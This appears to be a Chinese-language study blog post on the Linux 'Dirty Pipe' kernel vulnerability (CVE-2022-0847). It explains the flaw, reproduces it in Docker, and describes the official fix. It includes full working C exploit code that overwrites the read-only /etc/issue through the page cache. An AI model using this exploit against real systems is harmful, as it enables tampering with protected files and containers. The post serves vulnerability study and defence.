CVE-2022-0847学习

漏洞分析

CVE-2022-0847,又名Dirty Pipe,是一个Linux内核漏洞,利用这个漏洞可以覆写文件内容,包括只读的文件。

在zero-copy的过程中(例如splice()系统调用),文件的数据会被写到内存的page cache中(之后对文件的读取也都会直接读取page cache的内容,以减少磁盘IO),而pipe的buffer也会指向这个page cache[1.1]。

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, struct iov_iter *i)
{
    struct pipe_inode_info *pipe = i->pipe;
    struct pipe_buffer *buf;
    ......
    buf = &pipe->bufs[i_head & p_mask];
    ......
    buf->page = page;
    ......

splice()的调用链如下图:

在这个过程中,pipe buffer的flags成员是没有被初始化的。然而,根据pipe的写入过程,可以看到,当flags为PIPE_BUF_CAN_MERGE时,可以向page cache中写入数据,而要设置这个flags,只需要对pipe进行一次写入[1.2]:

if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
    offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; ret = copy_page_from_iter(buf->page, offset, chars, from);
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
    buf->flags = PIPE_BUF_FLAG_PACKET;
else
    buf->flags = PIPE_BUF_FLAG_CAN_MERGE;

而对pipe buffer的page cache进行写入,就意味着对splice()中对应的文件的page cache进行了写入,此时,当再次读取文件,内容就会发生变化。当然,这种变化并不是永久的,因为这样的写入并不会对文件在磁盘中的内容产生影响,一旦文件的page cache失效(例如系统重启或者某些内存清理机制),文件的内容就会恢复原样。利用这个漏洞,攻击者可以修改容器镜像里的文件内容,并影响其他使用该镜像的容器。

漏洞复现

系统:Ubuntu 20.04
内核:5.8.0-63

如下为exp的代码,大致步骤为填充管道、清空管道、零拷贝、向管道写入数据,其中目标文件为/etc/issue,覆写起始位置为1,内容为“ABCD”:

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

int main()
{
	const char *const path = "/etc/issue";
	loff_t offset = 1;
	const char *const data = "ABCD";
	const size_t data_size = strlen(data);

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;

	const int fd = open(path, O_RDONLY);

	int p[2];
	pipe(p);

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	--offset;
	splice(fd, &offset, p[1], NULL, 1, 0);
	write(p[1], data, data_size);
	return 0;
}

基于同一个镜像,分别创建两个Docker容器container-a和container-b,把编译好的exp复制到container-a中:

sudo docker run --name container-a -itd ubuntu
sudo docker run --name container-b -itd ubuntu
gcc exp.c -o exp
sudo docker cp exp container-a:/exp

分别进入两个容器,获取目标文件/etc/issue的内容:

在container-a中运行exp,再次查看/etc/issue,可以看到文件的内容发生了变化:

并且在container-b中也能看到同样的变化。

官方修复

官方的修复方案很简单,在设置pipe buffer时,将它的flags设为0,这样就可以避免它被设为PIPE_BUF_FLAG_CAN_MERGE,从而避免对page cache的写入[3.1]。

buf = &pipe->bufs[i_head & p_mask];
......
buf->flags = 0;

参考

[1.1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/lib/iov_iter.c?h=v5.17-rc5#n382
[1.2] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/pipe.c?h=v5.17-rc5
[2.1] https://dirtypipe.cm4all.com/
[3.1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/lib/iov_iter.c?id=9d2231c5d74e13b2a0546fee6737ee4446017903

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注